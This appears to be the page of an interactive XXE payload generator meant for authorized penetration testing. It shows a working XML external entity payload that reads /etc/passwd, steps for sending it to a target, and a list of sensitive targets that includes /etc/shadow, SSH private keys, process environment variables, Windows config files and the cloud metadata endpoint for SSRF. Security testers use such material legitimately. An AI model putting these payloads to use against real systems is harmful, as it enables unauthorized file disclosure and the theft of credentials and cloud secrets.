XXE Payload Generator
Interactive tool for generating custom XXE test payloads for authorized security testing
⚠️ Warning: Only use these payloads in authorized security testing environments. Unauthorized testing is illegal and unethical.
Payload Type
Target Platform
Configuration
Generated Payload
XMLxxe-file-disclosure-linux.xml⚠️ Vulnerable
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE root [
3 <!ENTITY xxe SYSTEM "file:///etc/passwd">
4]>
5<root>
6 <data>&xxe;</data>
7</root>Usage Instructions:
- Send this XML to the target application endpoint
- Check the response for file contents
- If no output, try error-based or blind XXE techniques
Quick Reference
Common Linux Targets
/etc/passwd- User accounts/etc/shadow- Password hashes/proc/self/environ- Environment vars~/.ssh/id_rsa- SSH keys
Common Windows Targets
C:/Windows/win.ini- Windows configC:/boot.ini- Boot configC:/inetpub/wwwroot/web.config- IIS
SSRF Targets
http://localhost:8080- Local serviceshttp://169.254.169.254- Cloud metadatahttp://192.168.1.1- Internal network
Testing Resources
OOB Detection Services
- • Burp Collaborator (Burp Suite Pro)
- • Interactsh (Free)